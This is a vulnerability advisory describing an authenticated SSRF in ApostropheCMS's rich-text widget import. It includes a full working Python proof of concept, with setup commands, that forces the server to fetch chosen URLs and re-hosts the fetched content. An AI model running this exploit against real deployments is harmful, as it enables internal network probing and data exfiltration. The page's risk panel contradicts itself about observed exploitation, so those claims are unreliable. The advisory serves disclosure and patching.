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GHSA-pr28-mf3q-qpg6

HighCVSS 7.6 / 10
Published May 14, 2026·Last modified May 14, 2026
Affected Components(0)

No affected components available

Description

Summary

ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.

Details

The vulnerable flow is in the rich-text widget sanitizer:

  • packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js
  • packages/apostrophe/modules/@apostrophecms/area/index.js
  • packages/apostrophe/modules/@apostrophecms/widget-type/index.js

Relevant behavior:

  1. The backend accepts a widget payload containing import.html.
  2. It parses <img src=...> values from that HTML.
  3. For each image, it resolves the URL with:
    • new URL(src, input.import.baseUrl || self.apos.baseUrl)
  4. It then performs a server-side fetch(url).
  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.

This is reachable during widget validation through:

  • POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft

PoC

  1. Start a local HTTP server with a valid PNG:
     mkdir -p /tmp/apos-poc
     base64 -d > /tmp/apos-poc/secret.png <<'EOF'
     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
     EOF
     cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
  1. Run the following Python PoC:
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin

import requests


def login(base_url: str, username: str, password: str) -> str:
    url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
    r = requests.post(
        url,
        json={
            "username": username,
            "password": password
        },
        timeout=20
    )
    r.raise_for_status()
    data = r.json()
    token = data.get("token")
    if not token:
      raise RuntimeError(f"Login succeeded but no token was returned: {data}")
    return token


def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
    url = urljoin(
        base_url,
        "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
    )
    payload = {
        "areaFieldId": area_field_id,
        "type": "@apostrophecms/rich-text",
        "widget": {
            "type": "@apostrophecms/rich-text",
            "content": "<p>seed</p>",
            "import": {
                "html": f'<img src="{target_url}">',
                "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
            }
        }
    }
    r = requests.post(
        url,
        headers={
            "Authorization": f"Bearer {token}",
            "Accept": "application/json"
        },
        json=payload,
        timeout=30
    )
    r.raise_for_status()
    return r.json()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--password", default="admin123")
    parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
    parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
    parser.add_argument(
        "--fetch-image",
        action="store_true",
        help="Fetch the generated Apostrophe image URL after exploitation."
    )
    args = parser.parse_args()

    try:
        token = login(args.base_url, args.username, args.password)
        result = trigger(args.base_url, token, args.area_field_id, args.target_url)
    except Exception as exc:
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
        return 1

    print("[+] Login OK")
    print(f"[+] Bearer token: {token}")
    print("[+] Exploit response:")
    print(json.dumps(result, indent=2))

    widget = result.get("widget") or {}
    image_ids = widget.get("imageIds") or []
    if not image_ids:
        print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
        return 0

    image_id = image_ids[0]
    image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
    image_url = urljoin(args.base_url, image_path)
    print(f"[+] Generated image id: {image_id}")
    print(f"[+] Generated image URL: {image_url}")

    if args.fetch_image:
        r = requests.get(image_url, allow_redirects=True, timeout=30)
        print(f"[+] Final fetch status: {r.status_code}")
        print(f"[+] Final URL: {r.url}")
        print(f"[+] Retrieved bytes: {len(r.content)}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
  1. Example usage:
     python3 poc.py \
       --base-url http://127.0.0.1:3000 \
       --username admin \
       --password admin123 \
       --area-field-id cd4f89f5b834d0036f3867f1507a8add \
       --target-url http://127.0.0.1:7777/secret.png \
       --fetch-image
  1. Expected result:
    • The local listener receives: GET /secret.png HTTP/1.1
    • The API response includes a rewritten Apostrophe image URL and imageIds.
    • The generated image URL can then be fetched through the application.

Additional note:

  • If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.

Impact

An authenticated user with permission to submit or edit rich-text widget content can:

  • trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)
  • perform blind or semi-blind internal port and service discovery
  • exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
Risk Scores
Base Score
7.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
7.0

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.20%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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